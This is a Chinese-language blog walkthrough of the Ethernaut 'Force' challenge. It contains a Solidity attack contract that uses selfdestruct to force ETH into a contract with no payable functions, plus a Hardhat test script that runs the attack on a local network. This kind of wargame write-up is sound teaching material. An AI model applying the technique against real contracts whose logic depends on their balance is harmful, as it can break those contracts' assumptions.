用Hardhat闯关Ethernaut题7 -force

209 阅读1分钟

Force合约

任务:让合约的余额大于0,也就是能把ETH转进去就行。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

这是一个空合约,是没法直接send,call,transfer转进去ETH,但是selfdestruct函数是可以强制将合约剩余ETH转到指定地址的,selfdestruct函数的用法:github.com/AmazingAng/…

解题思路就简单了: 1.创建一个攻击合约,然后定义一个attack方法包含selfdestruct函数并指定Force合约地址; 2.往攻击合约转账; 3.调用攻击合约的attack方法;

攻击合约:

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;

contract AttackForce {
    constructor() public payable {}

    receive() external payable {}

    function attack(address payable target) public {
        selfdestruct(target);
    }
}

测试脚本:

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
const { parseEther } = require("ethers/lib/utils");

describe("test", function () {
    var Force;
    var AttackForce;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("deploy", async function () {
        const ForceInstance = await ethers.getContractFactory("Force");
        Force = await ForceInstance.deploy();

        const AttackForceInstance = await ethers.getContractFactory("AttackForce");
        AttackForce = await AttackForceInstance.deploy();
    });
    it("hack test", async function () {
        await deployer.sendTransaction({
            to: AttackForce.address,
            value: parseEther("1"),
        });
        await AttackForce.attack(Force.address);
        const balance = await ethers.provider.getBalance(Force.address);
        expect(balance).to.equal(parseEther("1"));
    });
});

测试结果:

image.png

Github:hardhat测试仓库